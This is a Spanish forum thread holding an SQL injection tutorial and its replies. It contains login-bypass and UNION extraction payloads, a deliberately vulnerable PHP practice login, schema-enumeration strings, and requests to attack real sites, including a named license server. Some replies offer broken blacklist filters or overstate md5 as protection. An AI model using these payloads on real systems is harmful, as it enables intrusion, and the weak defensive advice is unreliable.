Tutorial de Inyección SQL. (SQL Injection)
Por SirDarckCat (http://sirdarckcat.googlepages.com/)
La inyección SQL es el ataque vía web, que aprovecha errores en la filtración de datos introducidos por el usuario, y que permiten a un atacante, tener control de cierta aplicación.
ATENCIÓN
Para poder explotar con exito una falla de inyección SQL es necesario que sepan con anterioridad el lenguaje.
información sobre su implementación en PHP se puede encontrar en
http://php.net/mysql
http://dev.mysql.com/
Los ataques SQL pueden ser evitados de muchas formas, iniciare con algunos ejemplos de instrucciones vulnerables, con las "magic quotes" desactivadas.
Ejemplo 1
$us=$_POST['usuario'];
$pass=$_POST['pass'];
$sql="SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'";
-- código largo cortado --
if(mysql_fetch_array($exc)){
echo "Inicio de sesión correcto"; // Esto fue modificado
}
Este es el tipico sistema de verificacion de contraseñas..
utiliza la instruccion mysql_fetch_array(funcion de mysql, que devuelve falso si no hay ningun resultado, en la 'querry', o petición), asi que si no hay ningun resultado donde el usuario y el password conuerden, el resultado es false :P.
como podemos hacer que no devuelva false??
- Con el password correcto
- Haciendo trampa
Logicamente, no usaremos la primera opción xD
Haciendo trampa.. se haria algo asi:
esta es la petición que solo nos deja pasar si sabesmos el pass..
SELECT * FROM usuarios WHERE user = '$us' AND password='$pass'ahora, ¿como se puede hacer que nos devuelva true aunque no sepamos el password, sabiendo que solo podemos modificar $pass y $us?
Supongamos que ponemos de usuario Pegaso, y de password pjps.
El usuario existe, pero no sabemos el pass..
la sentencia que SQL recibira sera:
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='pjps'y como no hay ningun campo donde el usuario y el password coincidan, nos devolvera false :(
Ahora, con un poco de creatividad:
de usuario: Pegaso
de password: ' OR ''='
la sentencia SQL recibira:
SELECT * FROM usuarios WHERE user = 'Pegaso' AND password='' OR ''=''nos devolvera true, si hay algun resultado y como NADA siempre es igual a NADA, nos devolvera true, y pasamos el mecanismo de validación como Pegaso.
Otros posibles valores que devuelven true son:
- usuario: Pegaso AND /* password: */ ''='
- usuario: ' OR 1=1 //
Ahora... que si quisieras saber el password.. (te advierto, que normalmente esta cifrado, y deberas desencriptarlo, con alguna herramienta para eso como john the ripper), tomemos el siguiente ejemplo
Ejemplo 2
$us=$_POST['usuario'];
$pas=$_POST['pass'];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
$sql="SELECT password FROM usuarios WHERE user = '$us'";
-- código largo cortado --
$resp = mysql_query($sql) or die(mysql_error());
if(mysql_fetch_array($resp)){
if($resp==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password $resp es incorrecto";
}
}
Bien, este ejemplo, que se ve mucho mas seguro (y sacado de una aplicación real), ¿es vulnerable?
SI, ¿porque?
Ya quedamos en que no hay magic quotes, las magic quotes son una función que trata de desactivar todas las cadenas introducidas por el usuario, que parezcan peligrosas, como comillas, diagonales, \0 etc..
el webmaster pensó, que como no usaba el mysql_fetch_array, entonces no podian usar un ' OR ''=', como la inyección clasica, pasada.
Ahora, queremos sacar el password.. pero.. ¿como?
Hay una instruccion en SQL llamada UNION, que sirve para obtener información de 2 tablas, o..
Bueno.. UNION necesita algunos requisitos.
- Necesitas meter la misma cantidad de valores que tiene la tabla.
- Tener un informe de los errores que provocaremos en la instrucción
Bien ahora empezemos.
la instrucción a modificar es la siguiente:
SELECT password FROM usuarios WHERE user = '$us'como ejemplo, si colocalmos de usuario: zanahoria
la instrucción que llega seria:
SELECT password FROM usuarios WHERE user = 'zanahoria'Otra vez necesitamos creatividad :D
regresemos al UNION.
UNION necesita que el numero de columnas sea igual, sino sacara un error.
y exactamente, lo que necesitamos es un error, que nos diga cuando estamos mal, para saber cuando estamos bien.
el UNION se usa de esta forma:
usuario: ' AND 0 UNION SELECT 1 AND 'l'='
SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''para lo cual SQL nos respondera:
Citar
The used SELECT statements have a different number of columns:SELECT password FROM usuarios WHERE user = '' AND 0 UNION SELECT 1 AND 'l'=''
Continuando por el mismo camino, podemos hacer que nos regrese un error, al tratar de UNIR un campo de tipo INT (osea que guarda numeros) a un CHAR (guarda letras)
Quedaria algo asi:
' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria
la sentencia seria esta:
SELECT password FROM usuarios WHERE user = '' UNION SELECT MIN(Password),2,3,4,5 FROM usuarios WHERE user = 'zanahoria'que nos da como error:
Citar
Syntax error converting the varchar value 'naranja' to a column of data type int.
donde el password es naranja 8) 8)
Las inyecciones ultimamente han logrado tener mas poder que antes, segun el blog de acidbits (http://acidbits.blogspot.com/), solo debemos sacar toda la información posible, y con un poco de esfuerzo, conseguimos tener control de archivos (crear, borrar, etc..).
el siguiente es un ejemplo, con la misma sentencia
usuario:
' AND 0 UNION SELECT 1,user(),3,4,5 AND 'l'='
y nos regresa:
Citar
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
que significa esto? que estamos metiendo valores en utf cuando debe ser en latin1.. eso lo arreglamos asi:
' AND 0 UNION SELECT 1,convert(user() using latin1),3,4,5 AND ''l='
y eso nos regresa:
Citarroot@localhost
esto, no es todo, con hacer que regrese valores con '<??>', podemos incluso crearnos nuestra shell.
Para ver el metodo completo de acidbits, da click aquí (http://acidbits.blogspot.com/).
Ejercicio :):¿Que puedes hacer con esta sentencia?
$sql="UPDATE clicks set dat=now(), aas=aas+1 where ref='$HTTPREFFERER'";
$resp = mysql_query($sql) or die(mysql_error());
Coloca el archivo anexo en tu servidor, con las respectivas configuraciones SQL necesarias, en una carpeta protegida, e intenta autohackearte, eso te dara practica.
Proximamente:
Blind SQL Inyection
Citar
(c) Sirdarckcat 2005
Autorizo la reproducción total o parcial de este documento bajo los terminos de la licencia de documentacion libre de GNU, una copia puede ser encontrada en http://www.gnu.org/
Bibliografia y links de interes:
http://acidbits.blogspot.com/
http://mx2.php.net/mysql
http://www.kriptopolis.com/more.php?id=P17_0_1_0 (OFF)
http://www.milw0rm.com/papers/16
Espero con entusiamo el Blind SQL Injection :D :D :D
Gracias, muy bueno.
CitarParece que no estás autorizado para descargar o ver attachments en este foro.
Sirdarckcat, no puedo descargar los atachament de este foro, podrías subirlo a algún otro sitio. Saludos 8)
gracias por tu manual Sirdarckcat
Muy bueno el tuto,es bueno como mustras con los ejemplos.
Esto me hizo querer aprender PHP + SQL y salir a explotar vulnerabilidades (por diversion, no por provecho xDDD)
Saludos
Ahora me leere este y el de XSS Y intentare entenderlo y aplicarlo buscar en paginas asi estare mas preparaado para el proyecto jejejej.
hola
pues la vdd yo entendi la mayoria de la parte de el tutorial pero lo que no entendi fue en donde inyectas el codigo que modificaste :huh:
Que raro que ustedes no puedan descargarlo..
Citarhackme.zip (0.76 KB - descargado 20 veces.)
en fin..
<?php
// Llena estos campos de acuerdo a tu configuración
$dbuser="";
$dbpass="";
$dbhost="";
$dbdata="";
$pass=$_POST['pass'];
$login=$_POST['login'];
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
// CONFIGURAR SEGUN TU BASE DE DATOS
$co = mysql_connect($dbhost, $dbuser, $dbpass);
// CONFIGURAR SEGUN TU TABLA
mysql_select_db($dbdata,$co);
if ($pass=='')
{
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">
<p align="center"><b>Password del admin:</b><input type=text name=pass>
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
}else{
// CAMBIAR EL NOMBRE DE LA TABLA
$entrada = mysql_query("SELECT usuario FROM tabla Where usuario='$login' and password='$pass'",$co) or die(mysql_error());
if(mysql_num_rows($entrada)=='0')
{
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
}else{
echo 'Usted se nos logeo con éxito <br> Bienvenido';
}
}
mysql_close($co);
?>
marcela, el código lo colocas en un <input> o en la dirección de internet "?id=".. cualquier campo que entre en la petición SQL.
un lugar comun es un contador de visitas.. ponen refid=51124 donde 51124 es el id de la persona a la que le van a pagar por ese click.. y muchas veces no tienen ls magic activadas.. o no ponen comillas asi que hace nuestro trabajo aun mas sencillo.
hola, wueno tengo una pregunta..para que es el codigo de hackme.zip..ese lo subo a un host y pongo los datos de el server de otra pag en el cod y pongo el pass y eso?
Si marcela, es para que practiques una inyección SQL..
Citar<?php
// Por reydelmundo11
// quitar el comentario de la linea siguiente
// magic_quotes_gpc = Off;
?>
Nose como funciona eso :S.... pero para saber si las magic quotes estan activadas basta con hacer
Citar
<?php
echo get_magic_quotes_gpc(); //te dice 0 si esta desactivadas y 1 adivinen cuando XD
?>
Muy bueno el tutorial, ahora mismo estoy haciendo la practica con hackme.php.
Solo me resta una pregunta: Si tiene magic quotes activadas, no se puede hacer NADA? he visto maneras de saltar eso haciendo
Citars%') UNION SELECT
Nunca he practicado sql inyection (buscando yo) pero se como prevenirme XD, y como recomendacion diria que es bueno filtrar TODOS los datos que el usuario pueda escribir... y con eso quedariamos limpios.
Ahhh y se me olvidaba,en form action = login.php, :P no existe, seria mejor poner php_self, pero eso no fue lo hice yo.
Ojalá que no te moleste (y bueno si te molesta.... lo borras XD)
Me tome la libertad de hacer el ejercicio mas amigable men :D, por lo tanto pongo el codigo :):
hackme.php
<?php
// Por reydelmundo11
$resp = get_magic_quotes_gpc();
if ($resp == 0 ) {
echo "Ok ok... tenemos serios problemas de seguridad";
} else {
echo "Todo bien :)";
}
echo '<body>
<form action=login.php method=post>
<p align="center"><b>Login:</b><input type=text name=login value="ADMIN">
<p align="center"><b>Password del admin:</b><input type=text name=pass>
</p>
<p align="center">
<input type=submit value="Entrar"></p>
</form>
</body>';
?>
login.php
<?php
// ESTO ES PARA DESACTIVAR EL EFECTO DE LAS MAGIC QUOTES
$login = str_replace ( '\\\'', '\'', $login );
$pass = str_replace ( '\\\'', '\'', $pass );
require ("../../config.inc.php");
conectar();
$entrada = mysql_query("SELECT usuario FROM usuarios Where usuario='$login' and password='$pass'",$conn) or die(mysql_error());
if(mysql_num_rows($entrada)=='0')
{
echo 'Error en el login, el password '.$pass.' no corresponde a '.$login;
}else{
echo 'Usted se nos logeo con éxito <br> Bienvenido';
}
?>
Si sabes sql se hara muy facil resolver el ejercicio :), ah y recuerden que yo no hice el ejercicio, sino
Sirdarckcat.
Chau
Y con esto te puedes cargar las mysql inyection:
Citar@set_magic_quotes_runtime(0);
Además de con esto:
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Saludos ::)
Cita de: Rey11 en 15 Enero 2006, 22:29 PM
Y con esto te puedes cargar las mysql inyection:
Citar@set_magic_quotes_runtime(0);
Además de con esto:
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Saludos ::)
xD
http://mx2.php.net/str_replace
la sintaxis que usas esta completamente mal.
seria algo asi:
$valor = str_replace("cosa-mala","//////",$valor);
::) xD
Saludos!!
Pues yo lo uso de la otra manera y no me saca fallo....
Saludos ::)
obvio no va a sacar fallo.. amenos que quieras buscar en:
///////
si hay una comilla xD esto no sirve de nada.
checa la liga de php.net.
antes de ponerlo lo hubieras probado en local jeje.
Saludos!!
Ya lo corregí, fue un error mío por no releer la documentacion ;D
Wenas.....
Yo he probado ha hacer una injeccion sobre una pagina que tengo en mi pc y no me funciona. Cada vez que meto en la casilla password algo del tipo' or ''=' pinto la consulta por pantalla y me devuelve lo siguiente
SELECT * FROM prueba_mary WHERE nombre = '' AND apellidos='\' or\'\'=\''
me esta escapando los caracteres ' pq ocurre esto?????? :shocked:
gracias
Ya me rula!!!!!
donde debo introducir los datos de consulta?
en muchos ejemplos dan: en nombre poner ** y en apellido **.
donde encuentro esos campos?
if (!$_POST){
//formulario por post blabla solo muestro lo interesante
echo"<INPUT TYPE='text' NAME='user' >";
echo"<input type='password' NAME='pass'>";
//
}else{
//recogemos la información introducida
$user=$_POST["user"];
$pass=$_POST["pass"];
//comprobamos que la información introducida no esta vacia blabla
$pass=md5($pass); //contraseña cifrada
//pedimos el usuario y la contraseña
$resp=mysql_query("select user,password from usuarios where user like '$user' limit 1",$conecta);
if(mysql_num_rows($resp)>0){
$fila=mysql_fetch_array($resp);
$password=fila[1];
if($password==$pass){
//aki podriamos añadir &&usuario==$user para hacerlo mas efectivo?
echo"Bienvenido $use conectado";
}else{
echo "Error al conectar";
}
}else{
echo "Error al conectar";
}
}
como se podría crakear esa validación? lo he estado intetando pero no lo he logrado, una ayudita?
mmm.. intenta con esto en user.. depende de la estructura de la BD.. pero talvez funciona.
admin' UNION SELECT user,password /*
A lo mejor me llevo alguna mala contestacion por vuestra parte, pero quisiera saber si seria posible el hackear una web en php, esta no tiene ningun filtro de alfanumerico, pero parece que si que tiene alguna otra proteccion, ya que al poner cualquier cosa que no sea un numero, me salta este error:
No puc connectar *|* SELECT * FROM articles WHERE id_article=0 and 0 UNION SELECT 1 limit 1
Es como si pusieras lo que pusieras, no contrara ante el codigo de mysql.
En fin, a ver si me podeis orientar un poko ante esto. Gracias.
Hola... entiendo la inyeccion mas o menos sin ningun problema... El problema es cuando subo el archivo hackme.php a un servidor ( con php habilitado claro ) y no me lo arranca bien... Ademas estan configuradas las variables "dbhost" "dbuser" y "dbpass" la de "dbdata" no se lo que es ¿ una manita ? thx
necesitas un servidor sql r2d2_ ve el manual de e-brujo sobre instalar apache, ahi te dice como isntalar el mysql tambien
Saludos!!
como que se que una pagina es vulnerable a este ataque, y como encuentro el archivo .php que interactua con la base de datos para hacer las inyeccciones o con cualquier archivo .php se pueden, disculpen mi ignorancia :rolleyes:
Pues miren, iba a trabajar sobre un script en una web de una empresa, hace ya tiene poco tiempo e hice un script... llamado oferta.php, en el cual puse algo asi:
$resp= mysql_query("SELECT * FROM cupon WHERE code = '$code'");
if(mysql_num_rows($resp) != 0) {
En el cual si el número dado es diferente a cero (osea que exista) procede a la acción. El problema es que actualmente ya no trabajo en la empresa, pero supe que pusieron online el script, y leyendo este post, queria yo intentar hacerlo, por que se que para poder controlar los codigos de oferta van poniendo manualmente números de dos digitos, osea algo asi: 01,02,03,04 y asi.. a estos les puse que se iban a llamar ID, no es automatico, sin embargo lo van poniendo manualmente para que a la hora de borrarlo sea mas fácil.
Y pues intente aplicar lo de OR pero no me funciono.. :P
sonyx - creo que no entendiste el ataque..
the_master_63 - talves tiene las magic_quotes :P.. o le agregaron algun filtro..
Saludos!!
Si entendi, y no creo que le hayan puesto filtro, por que a como acabe algunos script de la web, los iban subiendo.. Mira lo que intente fue esto: ' OR id = '01, yo se que hay una columna que se llama ID conde van poniendo los números seguidos asi: 01,02,03 por que asi lo deje..
Entonces la sentencia quedo asi:
$resp= mysql_query("SELECT * FROM cupon WHERE code = '$code' OR id = '01'");
if(mysql_num_rows($resp) != 0) {
Pero no jalo xD :rolleyes:
entonces tiene las magic quotes xD
Saludos!!
Hola, ya tengo el codigo fuente dela inyeccion, en que programa escribo el cogigo fuente, para inyectarlo, y como lo subo a la red para que lo inyecte
Bueno a ver...... lei el tuto y mas o menos lo voy pillando, pero tengo problemillas a la hora de realizar las pruebas con el hackme.php ..... pero me pide el archivo login.php tambien :huh:
Despues seniorX puso el codigo, pero claro en su codigo parece que hace falta el archivo config.inc.php
Alguien sabe como es ese archivo??
(tengo el appserv funcionando y con magicquotes en off, pero no logro que funcione la parctica)
A ver si alguien me puede guiar. Saludos.
para evitar la inyeccion usar esta funcion:
if (!function_exists("GetSQLValueString")) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = "", $theNotDefinedValue = "")
{
$theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;
$theValue = function_exists("mysql_real_escape_string") ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);
switch ($theType) {
case "text":
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
break;
case "text2":
$theValue = ($theValue != "") ? "" . $theValue . "" : "NULL";
break;
case "long":
case "int":
$theValue = ($theValue != "") ? intval($theValue) : "NULL";
break;
case "double":
$theValue = ($theValue != "") ? "'" . doubleval($theValue) . "'" : "NULL";
break;
case "date":
$theValue = ($theValue != "") ? "'" . $theValue . "'" : "NULL";
break;
case "defined":
$theValue = ($theValue != "") ? $theDefinedValue : $theNotDefinedValue;
break;
case "like":
$theValue = ($theValue != "") ? "'%" . $theValue . "%'" : "NULL";
break;
case "likedespues":
$theValue = ($theValue != "") ? "'" . $theValue . "%'" : "NULL";
break;
case "likeantes":
$theValue = ($theValue != "") ? "'%" . $theValue . "'" : "NULL";
break;
}
return $theValue;
}
}
Muy bueno, al menos para mi que recién me inicio en esto del SQL Injection :P
muy interesante el tutorial aunque la verdad mucho no etniendes esto cada archivo que ponen al inicio tienen que tener uds ya un sistema basico web con un index.php o index.html con login para que puedan practicar en uno real bueno la menos ais lo hago yo lo que si me gustaria profundizar mas en esto, lei un poko de un manual de "blinded" y al verdad es muy bueno seria buena idea que tambien lo posteen nuestros amigos Mod's y si no lo ponen lo posteare yo a ver que aportes recibimos
Buenas, estoy haciendo un trabajo sobre MySQL injection y para ello he hecho un simple ejemplo que consta de un formulario que tiene un input text donde introducimos un nombre de usuario. Cuando le doy al boton llamo a un php que ejecuta una consulta mysql
"SELECT * FROM Usuarios WHERE login = '{$_POST['login']}'"
Ahora lo que quiero hacer es demostrar el tipico ejemplo de que si en el input text escribo el siguiente login algo' OR '1'='1 voy a poder loguearme siempre.
Mi problema es que al imprimir $_POST['login'] me devuelve esto: algo\' OR \'1\'=\'1 por lo que la inyeccion sql no me funciona.
¿Sabeis como puedo evitar que php me incruste el caracter \' ?
Gracias!
Hola he estado probando eso de inyecciones SQL en una web php pero me sale igual que Encurto es decir este error:
ERROR : El usuario '\' OR 1=1--' no existe, el password es incorrecto, o ya fue registrado. Intente nuevamente el registro
el sistema antepone el \ eso se debe a la configuracion del php? hay alguna manera de saltar esa proteccion?
espero respuestas!
se agradece de antemano!
y ¿alguien conoce una tecnica si no tengo ni el user ni el pas?
Cita de: fable2 en 9 Marzo 2009, 07:03 AM
y ¿alguien conoce una tecnica si no tengo ni el user ni el pas?
magia ?
explicate bien xD
yo tampoco tengo ni el user ni el pass de una web , como entro ?
es lo mismo man .__.
hay que ser explicitos en las preguntas
saludos
Estoy inyectando codigo en un servidor, pero el problema es que se cual es el nombre de la base de datos, pero necesito hacer un listado de las tablas de esa base de datos. He probado de la siguiente forma:
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='
Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?
Cita de: i-node en 1 Abril 2009, 18:02 PM
Estoy inyectando codigo en un servidor, pero el problema es que se cual es el nombre de la base de datos, pero necesito hacer un listado de las tablas de esa base de datos. He probado de la siguiente forma:
' OR EXISTS(SELECT 1 FROM dual WHERE database() LIKE '%j%') AND ''='
' OR EXISTS(SELECT * FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='nombre_bd' AND TABLE_NAME='nombre_tabla') AND ''='
' OR (SELECT COUNT(*) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA LIKE '%u%')>1 AND ''='
Pero me dice que la sintaxis es incorrecta.. Alguna sugerencia?
Es mas, estando dicha consulta dentro de un magicsql("..."); si yo introduzco un
' "); echo "loquesea"; <!--
Ese comentario php <!-- deberia hacer que ignorase todo lo que venga detras o includo con un ?>
Pero el caso es que no funciona, y es rarisimo, puesto que si hago un <!-- OR 1=1 y hago que me salte un error de sintaxis de MySQL, muestra todo menos el comentario y lo que viene detras, con lo cual se supone que esta funcionando ese comentario, pero no es asi, porque si cierro la sentencia SQL antes del comentario con "); y hago el echo "loquesea"; me salta un error de sintaxis porque interpreta ese echo como si fuese parte de la consulta SQL ¿?¿?¿?
Ver para creer..
hola!
en algunos buscadores si buscas ' te da un error diciendo q tienes 1 fallo SQL... Cómo se podría explotar eso?
gracias
salu2
Citar
function limpieza1($valor)
{
$valor = str_replace($valor,'"',"//////");
$valor = str_replace($valor,"'","//////");
$valor = str_replace($valor,"@","//////");
$valor = str_replace($valor,"or","//////");
$valor = str_replace($valor,"UNION","//////");
$valor = str_replace($valor,"SELECT","//////");
$valor = str_replace($valor,"%2527","//////");
$valor = str_replace($valor,"%2725","//////");
$valor = str_replace($valor,"%20","//////");
return $valor;
}
Hace algun tiempo me curré un pequeño tutorial de inyección sql donde explicaba el problema de muchas webs y sus replace.
Hay un fantástico símbolo que casi nadie remplaza y aun sirve para comprobar muchas webs. El símbolo lo usa casi todo el mundo casi cada dia... al pagar el iva ;), siii es el comodín de mysql (%)<--- el x por ciento o %
select * from users where user like '%' and pass like '%'
¿Ahhh que compruebas que necesita mínimo 8 dígitos? ok perdona
select * from users where user like '%%%%%%%%' and pass like '%%%%%%%%'
Además sirve por ejemplo directamente en las urls
http://www.weblaquesea.com/?id=%&provincia=%&pais=%
Respuesta= Un super listado de fichas (bucle de la web) que con un poquito de idea y posiblemente ajax, puedes organizar en un xml dinámico y guardarlo en tu escritorio para luego...
Digamos que con formularios locales apuntando a una web con "error" devolviendo los resultados en ajax y estructurando los datos con Arrays ej: x=split(codigo,"<tr>"), en un xml, luego con ganas y dreamweaver puedes hacer una bd enterita.
Salu2
Redkram
Cita de: CICOLO_111234 en 16 Abril 2009, 12:05 PM
hola!
en algunos buscadores si buscas ' te da un error diciendo q tienes 1 fallo SQL... Cómo se podría explotar eso?
gracias
salu2
pues tecnicamente esta haciendo un llamado a una tabla que solo tiene informacion de busquedas, pero alomejor puedes encontrar algo mas con UNION
Married me!
duplicated.. srry
i think u cant use sql injection to login into an username account if the password is encrypted before the query.. heres an example:
-------------------
$password = md5($password)
SELECT User, Password FROM users WHERE User='$Username' AND Password='$password'
--------------
so, if you use this as a password:
' OR ''='
before the query.. it will be encrypted to this:
d20da3888278ec814f6a837f260b60df
so... it will be like this
SELECT User, Password FROM users WHERE User='Example' AND Password='d20da3888278ec814f6a837f260b60df'
doesnt matter what you type on password form..
i think thats like the best security you can have
however i think u can yet mess with the username... as encripting the username is not used anywhere
;D ;D hola acabo d darme cuenta d esta pagina y recientemente vi este tema, se me hace genial solo q tengo unas dudas...
¿Esto puede funcionar con facebook??
¿ha habido modificaciones en el codigo en estos años q sea indispensable q sepa alguien para llevar a cabo esto?
espero q me den respuesta GRACIAS :xD :xD :xD
Amigos me podria ayudar a hacer una inyeccion SQL a esta pagina: https://licensetransfer.elicenser.net:8443/LSWebServices/jsp/Login.jsp (https://licensetransfer.elicenser.net:8443/LSWebServices/jsp/Login.jsp) TODA UNA COMUNIDAD OCUPA DE ESTA INYECCION PERO SI SE PREGUNTAN que buscamos seria este archivo en ese servidor uno de estos dos:
SYNSOEMU.dll
o
SYNSOACC.dll
Es de un programa que an querido crackear: Nexus 2.2.1
Disculpame, en el ejemplo de
<?php
$us=$_POST['usuario'];
$pas=$_POST['pass'];
if($_GET['usuario'] || $_GET['pass']){
die("Hack Attempt");
}
/*Conectamos*/
$conexion = mysql_connect("localhost", "root", "123qwe");
mysql_select_db("mysql", $conexion);
$sql="SELECT PASSWORD FROM USUARIO WHERE USUARIO.NOMBRE = '$us'";
echo "$sql<br>";
$resp = mysql_query($sql, $conexion) or die(mysql_error());
if($fila = mysql_fetch_array($resp)){
if($fila['PASSWORD']==$pas){
echo "Inicio de sesión exitoso"; // Esto fue modificado
}else{
echo "el password ".$pas." es incorrecto";
}
} //' UNION SELECT MIN(Password),2,3,4,5 FROM USUARIO WHERE NOMBRE = 'zanahoria
?>
Hay algo que no entiendo la consulta quedaria modificada como:
SELECT PASSWORD FROM USUARIO WHERE USUARIO.NOMBRE = '' UNION SELECT MIN(Password) FROM USUARIO WHERE NOMBRE = ''
,si en el campo usuario ponemos como vos dijiste:
' UNION SELECT MIN(Password) FROM USUARIO WHERE NOMBRE = '
Y efectivamente, funciona, cree un localhost para probarlo, (Aclaro que estos son mis primeros pasos en SQL Injection), ahora lo que no entiendo es porque funciona, yo corrí la consulta en el Mysql Query Browser y me tira un campo en NULL, ¿Esto quiere decir que si comparamos cualquier cosa contra una variable en NULL nos da verdadero?.
Yo se que mysql_fetch_array se usa para transformar el resultado de una consulta en un arreglo y poder recorrerlo de manera iterativa, ¿Pero esto quiere decir que no pasa nada cuando le decimos que nos devuelva el valor del campo PASSWORD?.
Disculpen, es que esta linea en particular me confunde mucho:
if($fila = mysql_fetch_array($resp)){
if($fila['PASSWORD']==$pas){
Muchas gracias por detenerse a leer, Saludos!
Basicamente creo que ya lo entendí, pero corrijanme si estoy equivocado. Lo que básicamente hace es hacer una unión con una tabla, luego cuando pregunta si el usuario existe, este existirá porque lo hace sobre el resultado de la unión. No se si me explique bien, pero espero que se entienda.
Hola a Tod@s.
Necesito saber si con las inyecciones SQL, o con otro método, puedo descubrir un nombre de usuario y su clave de una página que las pide para entrar. O si con estas inyecciones puedo crear un usuario ficticio y su clave para poder acceder. Os pediría rapidez si puede ser porque me hace mucha falta. Si alguien sabe algo que me lo diga a grandes rasgos y luego yo buscaré más información. Muchas gracias anticipadas.
Si luego de usar el UNION (ejemplo 2) la página no carga, en vez de mostrar un error que era lo que se esperaba... ¿qué significa? :s